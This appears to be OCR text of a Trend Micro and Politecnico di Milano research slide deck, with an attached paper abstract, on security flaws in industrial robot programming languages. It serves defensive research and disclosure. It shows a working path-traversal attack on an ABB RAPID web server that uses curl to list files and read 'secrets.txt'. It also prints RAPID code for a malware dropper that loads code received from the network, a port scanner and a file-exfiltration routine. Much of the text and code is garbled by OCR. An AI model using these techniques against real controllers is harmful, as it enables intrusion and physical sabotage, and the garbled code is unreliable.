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IP Address LAN. VC
Serial No: VIRTUAL _USE

Controller: BROWSE the File System _P<r20n Mode: AUTO
RunMode  CONT

Program Memory Free: 22339

Free - Total - Percent Used
1414180 2097151 67

Current Tool Current Work Object Current Load
tooll wobj0 0.00

Current Position (with above Tool and WObj). Current Jomt Position:

X ¥z |a Q2 | o monR Bou s e

12700 (0.0 15700 [0.70711 0.00000 (0.70711 [0.00000 -0.00 |0.00 0.00 -0.00 0.00 -0.00

19:12:52 |STATE CHANGE |10011
19:12:51 |STATE CHANGE 10017
19:1251 |STATE CHANGE 10016
19:1239 |STATE CHANGE 10129




IP Address LAN. VC
Serial No: VIRTUAL _USE

Operation Mode: AUTO
Run Mode: CONT

Controller: BROWSE the File System

Program Memory Free: 22339

Free . Total Percent Used
1414180 2097151 67
Current Tool Current Work Object Curreat Load
tool) wobj0 0.00
Current Position (with above Tool and WOb)). Current Jomt

X Yz a @ B | mnooh 56

1270.0 0.0 15700 [0.70711 0.00000 [0.70711 |0.00000 -0.00 [0.00 0.00 -0.00

19:12:52 |STATE CHANGE (10011
19:12:51 |STATE CHANGE 10017
19:1251 |STATE CHANGE 10016
19:1239 |STATE CHANGE 10129
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ABB IRCS5 Robot Controller
Directory: /home/www/

Size Seconds since 1970)

f ABB Logo.gif 441 1516111744
f exampleWebPage rtml 202 1516111744

f startPage rtml 4812 1516111744

RAPID Server 1.1

'© ® 127.0.0.1:5505/home/www




D robot-dsl / ABB-RAPID / analysis_programs / 1-RapidWebServer /| WebServer.sys rl:]

123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141

currentLoglLevel := 1;

while true do
SocketReceive clientSocket, \RawData:=recBytes\Time:=WAIT_MAX;

I Clear the recString
FOR i FROM 1 TO Dim(arrRecString, 1) DO

arrRecString{i} := ’
ENDFOR

recBytesLength:= RawByteslLen(recBytes);
for i from 1 to RawByteslLen(recBytes) step 86 do

endPosition := 80; ! Number of bytes to unpack, if this is the last group o

if (i DIV 88) = (recBytesLength DIV 88) then

endPosition := recBytesLength MOD 86;

endif

UnpackRawBytes recBytes, i, arrRecString{i DIV 86 + 1}, \ASCII:=endPosition;
endfor



484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
560
501
562
563
564

I E1
IF I

ELSE

endi
ENDPROC

se we have a file resource

sFile((pageStringRoot + pageString) \RegFile) THEN

I The file exists, now check if it has a ".rtml" extension

I Look for ".RTML" at the end of the page string, after converting it all upper case to handle ".RtM1" cases
location := StrLen(pageString) - StrLen(".rtml") + 1 ; ! The expected location at the end of the string
upperPageString := StrMap(pageString, STR_LOWER, STR_UPPER);

found := StrMatch(upperPageString, location, ".RTML");

IF found <> location THEN

! There is no ".rtml" at file, this is a static resource file
sendFile pageStringRoot|+ pageString;

! This is a dynamic content file that must be parsed and rendered into HTML
logWrite "sendResource: .rtml file", 3;
sendRtml pageStringRoot + pageString;

ENDIF

ELSE

I File not found, send errorr
sendError 464, "Not Found";
Return;

f



Robot controller

| | - /home/ www/
lc“‘"""' W Fa Outside ibl| ¢ fan Documents library Prrectony
D he . § s [ LN— we ize Seconds since 1970)
"3 HOME Y e roo B C | Name a0 -
i Confguration mc mC f ABB Logo gif 1 1516111744
(] Evert Log Jo & HOAE gc | &9 f exampleWebPage rtml P02 1516111744
& VO System i & INTERNAL MR & dlogg 1593032704
4 O rapo S PROUUCTS | s assogosn ds |} 1593017856
“ TROB1 4 Lib L. SYSPAR 4 Lib __ exampleWebPage.rtml| | £ Fage.nml 812 1516111744
4 b g WebSev dc * (676F8BE7-3COF-44 | g startPage.rtml| T
A (2 netconfig.db A RAPID Server 1.1
QJ BASE f P %, Registry.db f P
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vndl | EummT— Web sérver root
= systemoml
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- R J | Directory /home/www/
ontroller . .
- ¢ Fa : i ¢ fn  DOCuments library
:J_lgf_ﬁgcﬂmi:: 2 g\utS'di 2 Name 1ze Seconds since 1970)
4 vewController
: - C e roo cl, - | 42 :
- HOME lame -
# Configuration mC MmC f ABB Logo gif 41 1516111744
] Evert Log 8 - 8 log f exampleWebPage rtml1 P02 1516111744
8 10 S 19 B raooucn: L1 -y d ot 1593032704
A » 0go.gr
4 I RAPID cvonn - l"vv"bp | d src/ 1593017856
a T‘*O; § Lib (6'7“‘;&7 corsd| FL "‘";" oo "'9‘ "™ | f startPage rtml 812 1516111744
4 pgWeb g - -3C9F- g startPage.tm
, n S netconfig.db A RAPID Server 1.1
Q] BASE : 5 Registry.db : o
L'ﬂ gl a v ~ R-‘/G'.;.'.tem.xml 8 v
«_g:“:;:a — Web sérver root
ﬂwwkva ™ Co system.aml = Co
!;j Test VitualControjlas

o 0 O
> curl 'http://192.168.215.1:8:5505/..\\..\\' | sed -e 's/<[*>]*>//g
% Total % Received % Xferd averoyer opuwu 1 A Time Time Current
Dload Upload Total Spent Left Speed
100 2050 @ 2050 2} (%] 9274 () te-" LT te- 9318
ABB IRCSABB IRCS Robot ControllerDirectory: /home/..\\..\\/NameSizeSeconds since
1978)d../~-~dH ME/-1593031424
dINTERNAL /-1591 919392
fnetconfig.db112641593033600
dPRODUCTS/~-159: 917728
fRegistry.db16! 841593033600
fRWGsystem.xmll 451593018752
fsecrets.txt16' 593033984
dSYSPAR/-1593017728
fsystem.xml107( 1593018752
f{676FBBE7-3C9 -4AA1-BB75-3099997898F3 ) .xm132321593022848
RAPID Server 1.1
3 curl 'httn://192.168.215.128:5505/..\\..\\secrets.txt
secrets are hereg

Secrets stolen
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439
440
411
442
443
444
445
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448
449
450

! Note:l Browswers will remove the "/.." kron a top-level request, GET "http://192.168.54.125/../myfile.html" will
| be converted to GET "http://192.168.54.125/myfile.html"

I If it starts with "home" (with or without a "/" at the end) then the root is SYSTEM_HOME ("HOME:"), otherwise
| the root is SYSTEM_HOME + WEBSERVER_HOME
I First handle the special case when it is simply "home" with no ending "/"
dirHomeNoSlash := StrPart(DIRECTORY_HOME, 1, StrLen(DIRECTORY_HOME) - 1);
IF ((StrMatch(pageString, 1, dirHomeNoSlash) = 1) AND (StrLen(pageString) = StrLen(dirHomeNoSlash))) THEN
| Set pageString to be emtpy
pageString := "";
pageStringRoot := SYSTEM_HOME;



.bloomberg.com/news/articles/2020-08-0

)4/robots-running-the-industrial-world-are-open-to-cyber-attacks @ o

2 Search

Bloomberg the Company & Its Products v | Bloomberg Terminal Demo Request | ™% Bloomberg Anywhere Remote Login ‘ Bloomberg Customer Support

Bloomberg

Cybersecurity
Robots Running the Industrial World Are
Open to Cyber Attacks

By Daniele Lepido
August 4, 2020, 11:00 AM GMT+2

» Researchers discover flaws in software for ABB and Kuka robots LIVE ON BLOOMBERG
» Robots are a fast-growing area in the industrial sector WatchLiveTV > %Mion

Listen to Live Radio >

| k' There is no indication of data exfiltration nor any customers
affected by it, he added.




A
research

POLITECNICO =
MILANO 1863

Guarding the Factory Floor
Catching Insecure Industrial
Robot Programs

.

/

Federico Maggi Senior Researcher

Research co-authors:

Marcello Pogliani, Marco Balduzzi, Davide Quarta, Stefano Zanero

© 2020 Trend Micro Inc.



Observations and Questions

1. Changing software development/delivery lifecycle
2. Programming languages for industrial automation are different
3. Maybe an overlooked issue and lack of awareness?

4. There can be vulnerabilities in this new software layer

14 | © 2020 Trend Micro Inc.
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A Changing Software
Development and Delivery
Lifecycle (1/4)



* Parts
* Software

16 © 2020 Trend Micro Inc. o
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* Design

* Operation * Parts
* Deployment * Software
Controller | - z
| o
o | | System integration Provides to
) e | service
O |
o |
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* Design
* Parts
* Software

* Operation
Controller z * Deployment

Provides to

System integration
service

* Custom software

* Knowledge Hired by Deploys

Freelance Works directly on Smart manufacturing
g consultant system
Programmer
18 © 2020 Trend Micro Inc. /
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* Design

* Parts
* Software

* Operation
Controller z * Deployment

Provides to

System integration
service

* Custom software

* Knowledge Hired by Deploys

Smart manufacturing
system

Freelance Works directly on

g consultant

Programmer

Uses
Operates

Uses

Third-party
developer < Employees
* Software libraries Third-party * Custom integrations
libraries * Operations

* Knowledge
* Design
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Increased Complexity & Less Control

* Increased attack opportunities

* Streamlined and faster development

21 © 2020 Trend Micro Inc.
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Proprietary, Legacy
Languages (2/4)

(a whole new world for IT security folks)




Proprietary Languages

RAPID

KRL

MELFA BASIC
AS

PDL2
PacScript
URScript
KAREL

ABB

KUKA

Mitsubishi
Kawasaki
COMAU

DENSO
Universal-Robots
FANUC

24 © 2020 Trend Micro Inc.

PDL2

Comau Robotics
Instruction Handbook

P
Progr

System Software Rel. 3.3x

FANUC Robotics SYSTEM
R-30/A and R-30/B Controller
KAREL Reference Manual

MARRC7SKRO7091E Rev D
Aovies b Yarvon 750 and higper

Technical reference manual

Language
RAPID Instructions, Functions and E"T-_';En
types

The URScript Prog¢
Languag

Simpltafriendly

B < Kawasaki

Kawasaki Robot Controller

AS Language
| Reference Manual

Cawasaki Heavy Industries, Lid

Quickguide

KRL-Syntax

KUKA Roboter
KSS Relase 8.x

E Series

DENSO ROE

JGRAMMER'S MANU
PAC Lil

MITSUBISHI

Mitsubishi Industrial Robot

MELFA-Works Instruction Manual

CR750-D/Q Series
CRnD/Q-700 Series
CRn-500 Series

(3F-21D-WINE)

MELFA
BFP-A8525-G
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Automation Focused ...: comie

VAR robtarget point@ := [
[500,500,500],[1,0,0,0],(0,0,0,0],
[9E+@9,9E+09,9E+09, 9E+0@9, 9E+09,9E+09] ] ;
VAR robtarget pointl .= [

[700,500,500],[1,0,0,0],[0,0,0,0],
Language Vendor
[9E+09,9E+09,9E+09,9E+09,9E+09,9E+09]];

RAPID ABB VAR zonedata zone := z100;

KRL RUKA PROC main()

MELFA BASIC Mitsubishi FOR i FROM 1 TO 10 DO

AS Kawasaki Move] point@, v100, zone, tool@d, \WObj:=wobjo;

WaitTime 4;

PDL2 COMAU Movel pointl1, v100, zone, tool@d, \WObj:=wobjo;

PacScript DENSO WaitTime 5; -

URScript Universal-Robots =HDFOR —N
ENDPROC » ~ ~

KAREL FANUC ENDMODULE N\

— é

25 © 2020 Trend Micro Inc.
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Handle File Resources

File System | Directory Listing

ABB

KUKA
Mitsubishi
Kawasaki
COMAU

DENSO
Universal-Robot
FANUC

26 | © 2020 Trend Micro Inc.
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Load new Code at Runtime (a.k.a. function pointers)
r

®

File System | Directory Listing|| Load Module From File | Call By Name
ABB v v v v

KUKA v

Mitsubishi v

Kawasaki

COMAU v Indirect v v
DENSO v v
Universal-Robots

FANUC v v v v

27 | © 2020 Trend Micro Inc. ( / | )
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Network Communication

File System | Directory Listing | Load Module From File | Call By Name
ABB v v v v

v
KUKA v v
Mitsubishi v v
Kawasaki v
COMAU v Indirect v 4 v
DENSO v v v
Universal-Robots v
FANUC v v v v v

/ 4

7 f ! ‘
| © 2020 Trend Micro Inc. ‘ /i ] ( 4 ,J / 2 e
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G/ - |SOLATED
d’g‘ D - UN RESTRACTED QQ QQ
3 N /{ % \g
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Q?U Q/ Q PERM L?EKM
Q <N MSD\ATED
~ /N
/ (‘ oS : ACCE SS
QOIS \h ENT
4 -
A ARDW ARS
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Lack of Awareness? (3/4)



We Asked Automation Engineers...

...what language features you use when programming robots?

Network sockets

File operations

Dynamic code

loading S5

Subroutine

Rl

0 100%

32 © 2020 Trend Micro Inc.
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Do OT Folks Talk About Security?

2.5%

5.5%
1.8%

0.9%

7.2%
0.0%
1.1%

4.7%

0.3%

33 © 2020 Trend Micro Inc.
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Security-related Keywords Mentioned

) Security-related
670.

forum.adamcommunity.com 2010 33286 3783 170

dof.robotig.com 2016 - 150( 83
automationforum.in 2012 220 1900 780( 147

robot-forum.com/robotforum 2006 17611 19166 9013 892

control.com 1997 - - 69,70( 5,068
solisplc.com/forum 2018 134 36 8’ 0
forums.mrplc.com 2006 46144 33540 16478 1810

reddit.com/r/robotics 2008 83614 - 638
plc.myforum.ro 2012 93948 41841 4184 1,968

forum.universal-robots.com 2017 - - 24

forums.robotstudio.com 2,013 19,723 8,959 19,72: 68

/
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Other Classes of
Vulnerabilities (4/4)

(other than the path traversal case in our story)



Vulnerabilities in Industrial Robot Programs

Security-sensitive Features + Lack of Input Validation

* Path Traversal (may also lead to writing)
e Unrestricted Movement Commands

* Unrestricted Function Calls

36 © 2020 Trend Micro Inc. /“(‘\ /
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Unrestricted Movement Commands

Example: motion servers

network robot controller

deg =20 MOVE (20) Z
»> >

task

program

37 © 2020 Trend Micro Inc.
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The Case of Vulnerable Motion Servers

[ ros-industrial / kuka_experimental ©Watch 30  KStar 96  YFork 107

<> Code Issues 25 Pull requests 16 Actions Security Insights

A
ROS-INDUSTRIAL

Experimental packages for KUKA manipulators within ROS-Industrial (http://wiki.ros.org/kuka_experimental)

kuka ros-industrial urdf rsi ros-control
D 114 commits P 2 branches @ 0 packages © O releases 42 13 contributors sfs Apache-2.0
L
Branch: indigo-devel v New pull request Find file Clone or download +~
gavanderhoorn readme: load badge from Kinetic devel job. v Latest commit 984e1f2 on Oct 14, 2019
B kuka_eki_hw_interface eki_hw_interface: add cmd buffer length limit to avoid overfeeding co... 17 months ago
38 © 2020 Trend Micro Inc.
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Unrestricted Movement Commands

Without Input Validation

network robot controller

deg =20 MOVE (20) z
> >

deg =50 MOVE (50) z
> >

deg = stuff MOVE (stuff) z
> >
task
program

39 © 2020 Trend Micro Inc.
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Unrestricted Movement Commands

With Input Validation

network robot controller
deg =20 MOVE (20) Z
> >
deg =50 . .
8 > x invalid
task
program

40 © 2020 Trend Micro Inc.
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A Vulnerable Motion Server

DEF

END

external_movement ()
DECL axis pos_cmd

eki_init("ExiHwInterface")
eki_open("EkiHwInterface")

LOOP
eki_getreald"EkinInterFace"I
eki_getreal ("EkiHwInterface",
eki_getreal ("EkiHwInterface",
eki_getreal ("EkiHwInterface",
eki_getreal ("EkiHwInterface",
eki_getreal ("EkiHwInterface",

PTP joint_pos_cmd
ENDLOOP

"RobotCommand/Pos/#A1",
"RobotCommand/Pos/#A2" ,
"RobotCommand/Pos/#A3",
"RobotCommand/Pos/#A4" ,
"RobotCommand/Pos/#A5",
"RobotCommand/Pos/#A6"

pos_cmd.
pos_cmd.
pos_cmd.
pos_cmd.
pos_cmd.
pos_cmd.

al)
az2)
a3)
a4)
ab)
ab6)

L

e
St
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ROS-INDUSTRIAL

HOME ABOUT BLOG CONSORTIUM DEVELOPER EVENTS TUTORIALS VIDEOS

N Blog RSS

To submit content for publication on the ROS-I blog, please email matt.robinson <at> rosindustrial.org (North America) or christoph.hellmann.santos<at>
ipa.fraunhofer.de (Europe), or ros-i_asia@artc.a-star.edu.sg (Asia Pacific).

How to securely control your robot with ROS-Industrial

Trend Micro and Politecnico di Milano (Polimi) recently brought up a security issue with controlling industrial robots using ROS-Industrial drivers. We have
worked fast to describe the mitigation for the security problem uncovered. Actually, it is quite simple, by following basic security guidelines on how to setup
your network you can eliminate the described security risk at the source. Here we show how to setup secure communication between your ROS PC and your

industrial robot.

In ROS-Industrial robots are connected to the ROS PC using so called motion servers. These are programs written in the OEM specific programming language
that are running on the robot controller and enable receiving target values (typically axis positions) from and sending actual values as well as the robot status
to the robot’s ROS driver. The interface used for this communication differs from one robot OEM to another. The problem is that as of now robot OEMs do not
provide interfaces that provide a security layer or authentication methods for these interfaces and no such measures can be added to the motion servers
running on the robot controllers. Therefore, it is possible for intruders to attack the communication interface between ROS-Industrial robot driver and the
motion server running on the robot controller. TrendMicro and PoliMi claim to have succeeded in sending motion commands to the robot controlled by a
ROS-Industrial robot driver from another device that is connected to the same network as the controlled robot and the ROS-Industrial robot driver (Figure 1).

This behavior can be potentially exploited by malicious network participants.

https://rosindustrial.org/news/2020/6/23/how-to-securely-control-your-robot-with-ros-industrial

42 | © 2020 Trend Micro Inc.
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https://rosindustrial.org/news/2020/6/23/how-to-securely-control-your-robot-with-ros-industrial

1 EXECUTIVE SUMMARY

CISAis aware of a public report of a vulnerability affecting robot motion servers. The motion serve
on the robot controller. Motion servers enable receiving target values and optionally sending actuz
prior to its release, researchers Federico Maggi and Marco Balduzzi of Trend Micro, Marcello Poglial
identified this vulnerability in the motion servers that allows an adjacent attacker to execute arbitr

This vulnerability in motion servers is not limited to any one vendor but exist in many OEM robots,
notice of the report and identify baseline mitigations for reducing risks to these and other cybersex

The report included vulnerability details for the following vulnerability:

Alertsand Tips ~ Resources  Industrial Control Sy (SN R
Remotely

Industrial Control Systems > ICS-CERT Alerts > Robot Mot | nsuffictent Verification | 0 Remote Code Execution
of Data Authenticity

ICS Alert (ICS-ALERT-20-217-01)

Robot Motion Servers

Original release date: August 04, 2020 | Last revised: August 05, 2020

} Print ¥ Tweet Send m
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Input Validation on Function Calls

network robot controller
Funct = "StartCycle" call("StartCycle") Z

> >

Funct = "Wait" call("wait" . .
> ( ), robot will wait

Funct = <any...> call(<any defined function>)
> >
task

program

44 © 2020 Trend Micro Inc.
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D robot-ds| / ABB-RAPID / analysis_programs / 17-yumi-rubiks / R.mod IE]
20
21 SocketCreate server_socket;
22 SocketBind server_socket, "192.168.125.1",1026;
23 Iport 1025 is left and 1626 is right
24 1"192.168.125.1", 1626; !For yumi
25 SocketListen server_socket;
26
27 WHILE loop DO
28 SocketAccept server_socket,client_socket\ClientAddress:=client_ip\Time:=WAIT_MAX;
29 WHILE loop DO
30 SocketReceive client_socket\Str:=recieve_string;
31 nbrStr:=StrPart(recieve_string,StrLen(recieve_string)-cut+1,cut);
32 final_string:=StrPart(recieve_string, 1,StrLen(recieve_string)-cut);
33 ok :=StrtoVal(nbrStr,nbr);
34 IF ok THEN
35 %final_string %nbr;
36 ELSE
37 %final_string %;
38 ENDIF
39 WaitRob\ZeroSpeed;
40 SocketSend client_socket\Str:="R move completed”;
41 ENDWHILE
42 SocketClose client_socket;
43 ENDWHILE
44 ERROR
45 © 2020 Trend Micro Inc.
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Input Validation on Function Calls

With input validation...

network robot controller
Funct = "StartCycle" call("StartCycle") Z
> >
Funct = "Wait" . .
> x invalid
task
program

46 © 2020 Trend Micro Inc.
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Anything Else Beyond
Vulnerabilities? (4/4)



Are These Languages Good to Write Malware?

* Load or send data via network
* Scan the network for targets
* Jump to code available at runtime

* Turing-complete language

48 © 2020 Trend Micro Inc.

<
- research




A Generic Malware Dropper

MODULE Dropper
PROC main_loop()

I ... variable declaration
I ... socket creation and initialization

WHILE TRUE DO
SocketReceive clientsock, \Str:=data;

name := ParseName(data)
Open diskhome + "/" + name + ".mod", f;

d I e D , 1. Read data from the network
So?ketRecelve clientsock, \Str:=rec; 2. Write data to file
Write f, rec;

ENDWHILE

Load \Dynamic, diskhome \File:=name + ".mod";

%name + ":main"%; ! call function by name 3. Load that file as code

ENDWHILE
ENDPROC
ENDMODULE
49 © 2020 Trend Micro Inc. A POLITECNICO @IBEQ‘IE resear.éh
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Can we Scan the Network?

PROC network_scan()

VAR string ip_address_prefix := "16.211.55.";
VAR string ip_address;

VAR string out;

VAR num ports{5} := [80, 53, 443, 445, 22];

VAR bool result;

FOR j FROM 1 TO 254 DO
ip_address := ip_address_prefix + NumToStr(j, 0);
SocketSend comm_sock, \Str:="IP: " + ip_address + "\BA";
FOR 1 FROM 1 TO0 3 DO
result := scan_port(ip_address, ports{i});
out :=" " + NumToStr(ports{i}, @) + ": OPEN\OA";
IF result THEN
SocketSend comm_sock, \Str:=out;
ENDIF
ENDFOR
ENDFOR

ENDPROC

50 © 2020 Trend Micro Inc.
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Can we Exfiltrate Files?

PROC lsdir(string dirname)
VAR dir directory;
VAR string filename;
VAR string path;
OpenDir directory, dirname;
WHILE ReadDir(directory, filename) DO
IF filename <> ".." AND filename <> "." THEN
path := dirname + "/" + filename;
IF IsFile(path, \Directory) THEN
Lsdir(path);
ENDIF
SocketSend sock \Str:=path;
ENDIF
ENDWHILE
CloseDir directory;
ENDPROC

51 © 2020 Trend Micro Inc.
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DEMO

Self-propagating Malware on the Factory Floor



Attacker Model Options

53 © 2020 Trend Micro Inc.
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Attacker Model Options

Supply Chain Attack

(e.g., compromise system
integrator)

System integration [ ikkkdaaaded
service
Smart manufacturing
> system

Operates

Freelance Works directly on
consultant

Uses

54 © 2020 Trend Micro Inc.
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By Claud Xiao

y: Malware, Threat Prevention, Unit 42
Apple, Baidu. iOS, KeyRaider, OS X, Weibo, Xcode, XcodeGhost

This post is also available in:

{ ’ Security Lab Bounties CodeQL Research Advisories Get Involved

The Octopus Scanner Malware:
Attacking the open source

Y

| Home ’ Categories ‘

Home

XCSSET Mac Malware: Infects Xcode Projects, Performs

UXSS

day Ex

Postedon: | . payload tested against the company’s security solution to avoid detection upon delivery

00O

By Mac TH While this is not the first incident in which APT mercenary groups have been potentially used to conduct espion:

. SECURITY
- | INTELLIGENCE Blog

SECURITY NEWS DIRECT FROM THREAT DEFENSE EXPERTS

==

REN
I CR

Slw

Mac

Ll 1 [ el 4 T ALl

A
/.
Industrial espionage for competitiveness in real-estate industry

Malicious payload posing as a plugin for a popular 3D computer graphics software (Autodesk 3ds Max)

6 + C2infrastructure based in South Korea

coordinate with alleged military operations, these events have intensified during the past couple of years. The re
investigated StrongPity APT group has all the characteristics of a mercenary cybercriminal group, known to sery
financial and potentially military objectives. Other groups, such as “Dark Basin” and “Deceptikons,” are only a fev
examples in which APT groups for hire have allegedly acted on behalf of customers seeking to discredit or infilt
high-profile targets in financial, legal, and now the multi-billion-dollar real-estate industry.

Bitdefender Whitepaper

More Evidence of APT Hackers-for-Hire Used for Industrial Espionage




Attacker Model Options

Supply Chain Attack Weaponizeable RCE

(e.g., compromise system (e.g., we nearly found one
integrator) in public code)

* Design
* Opera
« Deployment D robot-dsl / ABB-RAPID / analysis_programs / 17-yumi-rubiks / R.mod rU
20
. 2 SocketCreate server_socket;
System integration ~ [IP¥kbidtaaed 22 SocketBind server_socket, "192.168.125.1",1626;
service 23 iport 1825 is left and 1026 is right
24 17192.168.125.17, 1626; !For yumi
25 SocketlListen server_socket;
* Custom u 26
o Kn 27 WHILE loop DO
) 28 SocketAccept server_socket,client_socket\ClientAddress:=client_ip\Time:=WAIT_MAX;
29 WHILE loop DO
Freelance Works directly on Smart manufacturing 38 SocketReceive client_socket\Str:=recieve_string;
consultant system 3 nbrStr:=StrPart(recieve_string, Strien(recieve_string)-cut+1,cut);
32 final_string:=StrPart(recieve_string,1,Strlen(recieve_string)-cut);
33 ok :=StrtoVal(nbrStr,nbr);
34 IF ok THEN
35 %final_string %nbr;
Operates 36 ELSE
37 %final_string %;
38 ENDIF
Third-party 4 Uses Ty 39 WaitRob\ZeroSpeed ;
developer . ) 40 SocketSend client_socket\Str:="R move completed”;
a ENDWHILE
42 SocketClose client_socket;
m * Custom integrations 43 ENDWHILE
rations 44 ERROR
56 © 2020 Trend Micro Inc. 4
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Attacker Mode

Supply Chain Attack

(e.g., compromise system
integrator)

* Design

* Operation
* Deployment

System integration Provides to
service

W

Smart manufacturing
system

Freelance Works directly on
consultant

Operates

Uses

Employees

* Custom integrations
. ns

* Knowledge

* Design

57 © 2020 Trend Micro Inc.
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Weaponizeable RCE

(e.g., we nearly found one

in public code)

D robot-dsl / ABB-RAPID / analysis_programs / 17-yumi-rubiks / R.mod I_|:|

SocketCreate server_socket;

SocketBind server_socket, "192.168.125.1",1826;
fport 10825 is left and 1026 is right
17192.168.125.1%, 1026; !For yumi
SocketListen server_socket;

WHILE loop DO

SocketAccept server_socket,client_socket\ClientAddress:=client_ip\Time:=WAIT_MAX

WHILE loop DO
SocketReceive client_socket\Str:=recieve_string;
nbrStr:=StrPart(recieve_string,Strlen(recieve_string)-cut+1,cut);

final_string:=StrPart(recieve_string,1,Strlen(recieve_string)-cut);

ok :=StrtoVal(nbrStr,nbr);
IF ok THEN
%final_string %nbr;
ELSE
%final_string %;
ENDIF
WaitRob\ZeroSpeed;
SocketSend client_socket\Str:="R move completed”;
ENDWHILE
SocketClose client_socket;
ENDWHILE
ERROR
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Secure Your Work Add-in

The 'Secure Your Work' package is just a test add-in prepared for research
purposes. It does nothing except keeping track of how many times it gets
installed. We prepared it and uploaded it to check whether this app store has
any manual vetling procedure. If you installed it, just remove it. It will not do
any harm. This test is to check whether someone would be able to upload
software, including non benign software, via this app store.
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1. EXECUTIVE SUMMARY

e CVSSv34.3

e ATTENTION: Exploitable remotely/low skill level to exploit

e Vendor: KUKA

e Equipment: Sim Pro

e Vulnerability: Improper Enforcement of Message Integrity During Transmission in a Communication Channel
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Detecting Insecure Code Patterns in Industrial Robot Programs

Marcello Pogliani Federico Maggi Marco Balduzzi
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Abstract systems, and IT and OT networks in the factory floor. Industrial
Ind 1 robots are lex and izabl hines that can robots can be programmed online, using the “teach by showing”
be programmed with proprictary domain-specific languages. These  method, or offline, using purpose-built, domain-specific prog;
languages provide not only movement instructions, but also access ming | These industrial robot p (IR-

to low-level system resources such as the network or the file system.
Although useful, these feamres can lnd to taint-style vulnerabilities
and can be mi ‘lo' p par with g 1
lang: ge In this paper, we amlyze the
languages of 8 lcadmg dustrial robot their
technical features, and discuss cases of vulncrable and malicious
uses. We then describe a static d lyzer that we creal.ed
to analyze robotic prog and di i orp
malicious code paths We focused our proof-of-concept mplemnla—
tion on two popular languages, namely ABB’s RAPID and KUKA's

PLs) mclude specxal instructions to move the robot’s arm(s) as well
as common control-flow instructions and APIs to access low-level
resources. Writing task programs (i.e., the programs that define
the task to execute) ln IRPLs is useful to implement custom tasks

and integ y in the p process. IRPLs
provide access—in an almost unconstramed way~—to several robot’s

like its hanical arm(s), ﬁl sty k, various
fieldbus p and serial i

Recent research looked into the security of industrial machinery,
such as robots. In our previous research [19], we focused on the se-
curity prop of industrial robots, and in a follow-up paper [18],

KRL. By evaluating our tool on a set of publicly availabl
we show that insecure patterns are found in real-world codc d:crc-

we mentioned how task programs are part of the attack surface,

howing an ple of an app written in a IRPL and vul-

fore, static code analysis is an effe sccunty ing

hanism, for ple to prevent issi or ma-
licious industrial task programs. Finally, we ducuu remediation
steps that developers and vendors can adopt to mitigate such issues.

CCS Concepts

ivati Rob
« Comp Y & -

privacy — Soft

« Security and

Keywords

fnd il

security vulnerabilities; robot p
ACM Reference Format:

Marcello Pogliani, Federico Maggi, Marco Balduzzi, Davide Quarta, and Ste-
fano Zanero. 2020. Detecting Insecure Code Patterns in Industrial Robot
Programs. In Proceedings of the 15th ACM Asia Conference on Computer and

nerable to a “path traversal” issue. Despite this, currently, there are
neither security amlysts lools for programs wrmen in IRPLs, nor
security mech toi ion in

robotic operating systems (e g.p il Furth
the security awareness within the mdusmal automation commu-
nity does not seem fully developed, yet. Indeed, from an analysis on
11 popular online industrial automation forums' totalling 294,680
users, we estimated that as low as 2.31% pages (10,868 out of 469,658)
mention security-related keywords (e.g., security, vulnerability, and
attack), and we discovered vulnerable code snippets®.

As trends show an increased IT-OT convergence and a stream-
lined industrial soft: develop Mlhnmpleuseoﬁhudparty
code (2,9, 22], we ad: for a more sy pproach to secure
programs wnuen in IRPLs, on par with common general-purpose

es. As a first step, we propose a static source
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(e.g., network)

Teach Pendant (Ul)

Vs

Robot Movement

~N

File Handling (e.g., read)

File Modification (e.g.,
write configuration)

Call by Name
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Overall Architecture of the Analyzer

& List of potential
Movel point® vulnerabilities
WaitTime 4 | _ I . ' N CFG ) i ICFG | ' Data flow | _
Movel pointl » BT generation generation analysis » . _
WaitTime 5 List of potentially
abused features
Task program’s —C Rapid parser

source code

—C KRL parser » Unsafe patterns (leading

| to vulnerabilities)

I = » Malicious patterns

| 1

.- - ' .
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Example Output
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Example Output
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y

%

deffct int eki_hw_iface_available() ; check if there is data form network
decl eki_status eki_ret

eki_ret = eki_checkbuffer(
"EkiHwInterface", "RobotCommand/Pos/@A1")
return eki_ret.buff
endfct

de int eki_hw_iface_get(joint_pos_cmd :out) ; read data from network I
decl eK1.Status eKi.ret

decl axis joint_pos_cmd

eki_ret = eki_checkbuffer(
"EkiHwInterface", "RobotCommand/Pos/@A1")
if eki_ret.buff <= @ then
return @
endif
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DEF external_movement()

Example Output

© 2020 Trend Micro Inc.

DECL axis pos_cmd

eki_init("ExiHwInterface")
eki_open("EkiHwInterface")

LOOP
eki_getreal ("EkiHwInterface", "RobotCommand/Pos/#A1", pos_cmd.al)
eki_getreal ("EkiHwInterface", "RobotCommand/Pos/#A2", pos_cmd.a2)
eki_getreal ("EkiHwInterface", "RobotCommand/Pos/#A3", pos_cmd.a3)
eki_getreal ("EkiHwInterface", "RobotCommand/Pos/#A4", pos_cmd.a4)
eki_getreal ("EkiHwInterface", "RobotCommand/Pos/#A5", pos_cmd.a5)
eki_getreal ("EkiHwInterface", "RobotCommand/Pos/#A6", pos_cmd.a6)

PTP joint_pos_cmd |
ENDLOOP

DATAFLOW

deffct int eki_hw_iface_available(} ; check if there is data form network

decl eki_status eki_ret

eki_ret = eki_checkbuffer(

"EkiHwInterface", "RobotC

return eki_ret.buff
endfct

nd/Pos/@A1")

deffctfint eki_hw_iface_get(joint_pos_cmd :out) ; read data from network |
decl eki_status eki_ret
decl axis joint_pos_cmd

g

eki_ret = eki_checkbuffer(

"EkiHwInterface", "RobotCommand/Pos/@A1")
if eki_ret.buff <= @ then
return 0

Y,
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Example Output
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DEF external_movement()
DECL axis pos_cmd

eki_init("ExiHwInterface")
eki_open("EkiHwInterface")

LOOP

eki_getreal ("EkiHwInterface",
eki_getreal ("EkiHwInterface",
eki_getreal ("EkiHwInterface",
eki_getreal ("EkiHwInterface",
eki_getreal ("EkiHwInterface",
eki_getreal ("EkiHwInterface",

PTP joint_pos_cmd |
ENDLOOP

decl eki_status eki_ret

3 s

eki_ret = eki_checkbuffer(

deffct int eki_hw_iface_available() :

"RobotCommand/Pos/#A1", pos_cmd.al)
"RobotCommand/Pos/#A2", pos_cmd.a2)
"RobotCommand/Pos/#A3", pos_cmd.a3)
"RobotCommand/Pos/#A4", pos_cmd.a4)
"RobotCommand/Pos/#A5", pos_cmd.a5)
"RobotCommand/Pos/#A6", pos_cmd.a6)
